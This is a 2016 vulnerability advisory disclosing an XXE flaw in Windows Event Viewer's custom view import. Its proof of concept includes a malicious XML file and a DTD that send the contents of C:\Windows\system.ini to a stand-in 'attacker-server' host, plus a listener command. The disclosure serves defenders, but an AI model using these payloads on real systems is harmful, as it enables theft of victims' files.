Microsoft Event Viewer 1.0 XXE Injection

Type packetstorm
Reporter hyp3rlinx
Modified 2016-12-05T00:00:00


                                            `[+] Credits: John Page aka hyp3rlinx  
[+] Website:  
[+] Source:  
[+] ISR: ApparitionSec  
Microsoft Event Viewer  
Version: 1.0  
The Windows Event Viewer shows a log of application and system messages a  
errors, information messages, and warnings.  
Vulnerability Type:  
XML External Entity  
CVE Reference:  
Vulnerability Details:  
Windows Event Viewer user can import 'Custom View' files, these files  
contain XML, the parser processes External Entity potentially allowing  
to gain remote file access to files on a victims system if user imports a  
corrupt XML file via remote share/USB (or other untrusted source).  
Tested Windows 7 SP1  
Exploit code(s):  
1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.  
2) Action / Import Custom View  
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC  
4) Files are accessed and sent to remote server.  
User gets error like "The specified custom view is not valid" attacker gets  
"payload.dtd" (host on attacker server)  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">  
"MyCustomView.xml" (malicious windows Event Custom View XML)  
<?xml version="1.0"?>  
<!ENTITY % file SYSTEM "C:\Windows\system.ini">  
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">  
Attacker server listener  
python -m SimpleHTTPServer 8080  
Disclosure Timeline:  
Vendor Notification: August 30, 2016  
Vendor reply: "does not meet the bar for security servicing." August 30,  
December 4, 2016 : Public Disclosure  
Exploitation Technique:  
Severity Level:  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.